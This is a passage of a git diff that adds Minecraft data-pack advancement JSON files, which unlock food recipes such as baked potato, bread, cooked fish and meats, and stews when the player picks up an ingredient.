"conditions": { + "recipe": "minecraft:baked_potato" + } + } + }, + "requirements": [ + [ + "has_potato", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/baked_potato_from_campfire_cooking.json b/src/data/minecraft/advancements/recipes/food/baked_potato_from_campfire_cooking.json new file mode 100644 index 00000000..99d80610 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/baked_potato_from_campfire_cooking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:baked_potato_from_campfire_cooking" + ] + }, + "criteria": { + "has_potato": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:potato" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:baked_potato_from_campfire_cooking" + } + } + }, + "requirements": [ + [ + "has_potato", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/baked_potato_from_smoking.json b/src/data/minecraft/advancements/recipes/food/baked_potato_from_smoking.json new file mode 100644 index 00000000..b15c431a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/baked_potato_from_smoking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:baked_potato_from_smoking" + ] + }, + "criteria": { + "has_potato": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:potato" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:baked_potato_from_smoking" + } + } + }, + "requirements": [ + [ + "has_potato", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/beetroot_soup.json b/src/data/minecraft/advancements/recipes/food/beetroot_soup.json new file mode 100644 index 00000000..56f57720 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/beetroot_soup.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:beetroot_soup" + ] + }, + "criteria": { + "has_beetroot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:beetroot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:beetroot_soup" + } + } + }, + "requirements": [ + [ + "has_beetroot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/bread.json b/src/data/minecraft/advancements/recipes/food/bread.json new file mode 100644 index 00000000..0a629406 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/bread.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:bread" + ] + }, + "criteria": { + "has_wheat": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:wheat" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:bread" + } + } + }, + "requirements": [ + [ + "has_wheat", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cake.json b/src/data/minecraft/advancements/recipes/food/cake.json new file mode 100644 index 00000000..bc093186 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cake.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cake" + ] + }, + "criteria": { + "has_egg": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:egg" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cake" + } + } + }, + "requirements": [ + [ + "has_egg", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_beef.json b/src/data/minecraft/advancements/recipes/food/cooked_beef.json new file mode 100644 index 00000000..efe03cfa --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_beef.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_beef" + ] + }, + "criteria": { + "has_beef": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:beef" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_beef" + } + } + }, + "requirements": [ + [ + "has_beef", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_beef_from_campfire_cooking.json b/src/data/minecraft/advancements/recipes/food/cooked_beef_from_campfire_cooking.json new file mode 100644 index 00000000..df01a5a7 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_beef_from_campfire_cooking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_beef_from_campfire_cooking" + ] + }, + "criteria": { + "has_beef": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:beef" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_beef_from_campfire_cooking" + } + } + }, + "requirements": [ + [ + "has_beef", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_beef_from_smoking.json b/src/data/minecraft/advancements/recipes/food/cooked_beef_from_smoking.json new file mode 100644 index 00000000..23ea3cab --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_beef_from_smoking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_beef_from_smoking" + ] + }, + "criteria": { + "has_beef": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:beef" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_beef_from_smoking" + } + } + }, + "requirements": [ + [ + "has_beef", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_chicken.json b/src/data/minecraft/advancements/recipes/food/cooked_chicken.json new file mode 100644 index 00000000..b812dc73 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_chicken.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_chicken" + ] + }, + "criteria": { + "has_chicken": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chicken" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_chicken" + } + } + }, + "requirements": [ + [ + "has_chicken", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_chicken_from_campfire_cooking.json b/src/data/minecraft/advancements/recipes/food/cooked_chicken_from_campfire_cooking.json new file mode 100644 index 00000000..ea65f214 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_chicken_from_campfire_cooking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_chicken_from_campfire_cooking" + ] + }, + "criteria": { + "has_chicken": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chicken" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_chicken_from_campfire_cooking" + } + } + }, + "requirements": [ + [ + "has_chicken", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_chicken_from_smoking.json b/src/data/minecraft/advancements/recipes/food/cooked_chicken_from_smoking.json new file mode 100644 index 00000000..a8a1e1da --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_chicken_from_smoking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_chicken_from_smoking" + ] + }, + "criteria": { + "has_chicken": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:chicken" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_chicken_from_smoking" + } + } + }, + "requirements": [ + [ + "has_chicken", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_cod.json b/src/data/minecraft/advancements/recipes/food/cooked_cod.json new file mode 100644 index 00000000..17c17193 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_cod.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_cod" + ] + }, + "criteria": { + "has_cod": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cod" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_cod" + } + } + }, + "requirements": [ + [ + "has_cod", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_cod_from_campfire_cooking.json b/src/data/minecraft/advancements/recipes/food/cooked_cod_from_campfire_cooking.json new file mode 100644 index 00000000..0c6975e6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_cod_from_campfire_cooking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_cod_from_campfire_cooking" + ] + }, + "criteria": { + "has_cod": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cod" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_cod_from_campfire_cooking" + } + } + }, + "requirements": [ + [ + "has_cod", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_cod_from_smoking.json b/src/data/minecraft/advancements/recipes/food/cooked_cod_from_smoking.json new file mode 100644 index 00000000..28a9b388 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_cod_from_smoking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_cod_from_smoking" + ] + }, + "criteria": { + "has_cod": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cod" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_cod_from_smoking" + } + } + }, + "requirements": [ + [ + "has_cod", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_mutton.json b/src/data/minecraft/advancements/recipes/food/cooked_mutton.json new file mode 100644 index 00000000..d625332d --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_mutton.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_mutton" + ] + }, + "criteria": { + "has_mutton": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mutton" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_mutton" + } + } + }, + "requirements": [ + [ + "has_mutton", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_mutton_from_campfire_cooking.json b/src/data/minecraft/advancements/recipes/food/cooked_mutton_from_campfire_cooking.json new file mode 100644 index 00000000..74c02490 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_mutton_from_campfire_cooking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_mutton_from_campfire_cooking" + ] + }, + "criteria": { + "has_mutton": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mutton" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_mutton_from_campfire_cooking" + } + } + }, + "requirements": [ + [ + "has_mutton", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_mutton_from_smoking.json b/src/data/minecraft/advancements/recipes/food/cooked_mutton_from_smoking.json new file mode 100644 index 00000000..986114cb --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_mutton_from_smoking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_mutton_from_smoking" + ] + }, + "criteria": { + "has_mutton": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mutton" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_mutton_from_smoking" + } + } + }, + "requirements": [ + [ + "has_mutton", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_porkchop.json b/src/data/minecraft/advancements/recipes/food/cooked_porkchop.json new file mode 100644 index 00000000..ac161763 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_porkchop.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_porkchop" + ] + }, + "criteria": { + "has_porkchop": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:porkchop" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_porkchop" + } + } + }, + "requirements": [ + [ + "has_porkchop", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_porkchop_from_campfire_cooking.json b/src/data/minecraft/advancements/recipes/food/cooked_porkchop_from_campfire_cooking.json new file mode 100644 index 00000000..977ed94e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_porkchop_from_campfire_cooking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_porkchop_from_campfire_cooking" + ] + }, + "criteria": { + "has_porkchop": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:porkchop" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_porkchop_from_campfire_cooking" + } + } + }, + "requirements": [ + [ + "has_porkchop", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_porkchop_from_smoking.json b/src/data/minecraft/advancements/recipes/food/cooked_porkchop_from_smoking.json new file mode 100644 index 00000000..ea2c8b9e --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_porkchop_from_smoking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_porkchop_from_smoking" + ] + }, + "criteria": { + "has_porkchop": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:porkchop" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_porkchop_from_smoking" + } + } + }, + "requirements": [ + [ + "has_porkchop", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_rabbit.json b/src/data/minecraft/advancements/recipes/food/cooked_rabbit.json new file mode 100644 index 00000000..b8469d19 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_rabbit.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_rabbit" + ] + }, + "criteria": { + "has_rabbit": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:rabbit" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_rabbit" + } + } + }, + "requirements": [ + [ + "has_rabbit", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_rabbit_from_campfire_cooking.json b/src/data/minecraft/advancements/recipes/food/cooked_rabbit_from_campfire_cooking.json new file mode 100644 index 00000000..c75bfb49 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_rabbit_from_campfire_cooking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_rabbit_from_campfire_cooking" + ] + }, + "criteria": { + "has_rabbit": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:rabbit" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_rabbit_from_campfire_cooking" + } + } + }, + "requirements": [ + [ + "has_rabbit", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_rabbit_from_smoking.json b/src/data/minecraft/advancements/recipes/food/cooked_rabbit_from_smoking.json new file mode 100644 index 00000000..8d39f6ba --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_rabbit_from_smoking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_rabbit_from_smoking" + ] + }, + "criteria": { + "has_rabbit": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:rabbit" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_rabbit_from_smoking" + } + } + }, + "requirements": [ + [ + "has_rabbit", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_salmon.json b/src/data/minecraft/advancements/recipes/food/cooked_salmon.json new file mode 100644 index 00000000..4b67c896 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_salmon.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_salmon" + ] + }, + "criteria": { + "has_salmon": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:salmon" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_salmon" + } + } + }, + "requirements": [ + [ + "has_salmon", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_salmon_from_campfire_cooking.json b/src/data/minecraft/advancements/recipes/food/cooked_salmon_from_campfire_cooking.json new file mode 100644 index 00000000..72f91ab6 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_salmon_from_campfire_cooking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_salmon_from_campfire_cooking" + ] + }, + "criteria": { + "has_salmon": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:salmon" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_salmon_from_campfire_cooking" + } + } + }, + "requirements": [ + [ + "has_salmon", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cooked_salmon_from_smoking.json b/src/data/minecraft/advancements/recipes/food/cooked_salmon_from_smoking.json new file mode 100644 index 00000000..80e3591a --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cooked_salmon_from_smoking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cooked_salmon_from_smoking" + ] + }, + "criteria": { + "has_salmon": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:salmon" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cooked_salmon_from_smoking" + } + } + }, + "requirements": [ + [ + "has_salmon", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/cookie.json b/src/data/minecraft/advancements/recipes/food/cookie.json new file mode 100644 index 00000000..54ddd5cf --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/cookie.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:cookie" + ] + }, + "criteria": { + "has_cocoa": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cocoa_beans" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:cookie" + } + } + }, + "requirements": [ + [ + "has_cocoa", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/dried_kelp.json b/src/data/minecraft/advancements/recipes/food/dried_kelp.json new file mode 100644 index 00000000..db3babf0 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/dried_kelp.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dried_kelp" + ] + }, + "criteria": { + "has_dried_kelp_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:dried_kelp_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dried_kelp" + } + } + }, + "requirements": [ + [ + "has_dried_kelp_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/dried_kelp_from_campfire_cooking.json b/src/data/minecraft/advancements/recipes/food/dried_kelp_from_campfire_cooking.json new file mode 100644 index 00000000..21eae571 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/dried_kelp_from_campfire_cooking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dried_kelp_from_campfire_cooking" + ] + }, + "criteria": { + "has_kelp": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:kelp" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dried_kelp_from_campfire_cooking" + } + } + }, + "requirements": [ + [ + "has_kelp", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/dried_kelp_from_smelting.json b/src/data/minecraft/advancements/recipes/food/dried_kelp_from_smelting.json new file mode 100644 index 00000000..1ce053e3 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/dried_kelp_from_smelting.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dried_kelp_from_smelting" + ] + }, + "criteria": { + "has_kelp": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:kelp" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dried_kelp_from_smelting" + } + } + }, + "requirements": [ + [ + "has_kelp", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/dried_kelp_from_smoking.json b/src/data/minecraft/advancements/recipes/food/dried_kelp_from_smoking.json new file mode 100644 index 00000000..03936cbe --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/dried_kelp_from_smoking.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:dried_kelp_from_smoking" + ] + }, + "criteria": { + "has_kelp": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:kelp" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:dried_kelp_from_smoking" + } + } + }, + "requirements": [ + [ + "has_kelp", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/golden_apple.json b/src/data/minecraft/advancements/recipes/food/golden_apple.json new file mode 100644 index 00000000..65c88424 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/golden_apple.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:golden_apple" + ] + }, + "criteria": { + "has_gold_ingot": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:gold_ingot" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:golden_apple" + } + } + }, + "requirements": [ + [ + "has_gold_ingot", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/honey_bottle.json b/src/data/minecraft/advancements/recipes/food/honey_bottle.json new file mode 100644 index 00000000..cd44728f --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/honey_bottle.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:honey_bottle" + ] + }, + "criteria": { + "has_honey_block": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:honey_block" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:honey_bottle" + } + } + }, + "requirements": [ + [ + "has_honey_block", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/mushroom_stew.json b/src/data/minecraft/advancements/recipes/food/mushroom_stew.json new file mode 100644 index 00000000..cca2a9e4 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/mushroom_stew.json @@ -0,0 +1,65 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:mushroom_stew" + ] + }, + "criteria": { + "has_mushroom_stew": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:mushroom_stew" + } + ] + } + }, + "has_bowl": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:bowl" + } + ] + } + }, + "has_brown_mushroom": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:brown_mushroom" + } + ] + } + }, + "has_red_mushroom": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:red_mushroom" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:mushroom_stew" + } + } + }, + "requirements": [ + [ + "has_mushroom_stew", + "has_bowl", + "has_brown_mushroom", + "has_red_mushroom", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/pumpkin_pie.json b/src/data/minecraft/advancements/recipes/food/pumpkin_pie.json new file mode 100644 index 00000000..fefc18ac --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/pumpkin_pie.json @@ -0,0 +1,43 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:pumpkin_pie" + ] + }, + "criteria": { + "has_carved_pumpkin": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:carved_pumpkin" + } + ] + } + }, + "has_pumpkin": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:pumpkin" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:pumpkin_pie" + } + } + }, + "requirements": [ + [ + "has_carved_pumpkin", + "has_pumpkin", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/rabbit_stew_from_brown_mushroom.json b/src/data/minecraft/advancements/recipes/food/rabbit_stew_from_brown_mushroom.json new file mode 100644 index 00000000..1c7d6601 --- /dev/null +++ b/src/data/minecraft/advancements/recipes/food/rabbit_stew_from_brown_mushroom.json @@ -0,0 +1,32 @@ +{ + "parent": "minecraft:recipes/root", + "rewards": { + "recipes": [ + "minecraft:rabbit_stew_from_brown_mushroom" + ] + }, + "criteria": { + "has_cooked_rabbit": { + "trigger": "minecraft:inventory_changed", + "conditions": { + "items": [ + { + "item": "minecraft:cooked_rabbit" + } + ] + } + }, + "has_the_recipe": { + "trigger": "minecraft:recipe_unlocked", + "conditions": { + "recipe": "minecraft:rabbit_stew_from_brown_mushroom" + } + } + }, + "requirements": [ + [ + "has_cooked_rabbit", + "has_the_recipe" + ] + ] +} \ No newline at end of file diff --git a/src/data/minecraft/advancements/recipes/food/rabbit_stew_from_red_mushroom.json b/src/data/minecraft/advancements/recipes/food/rabbit_stew_from_red_mushroom.json new file mode 100644 index 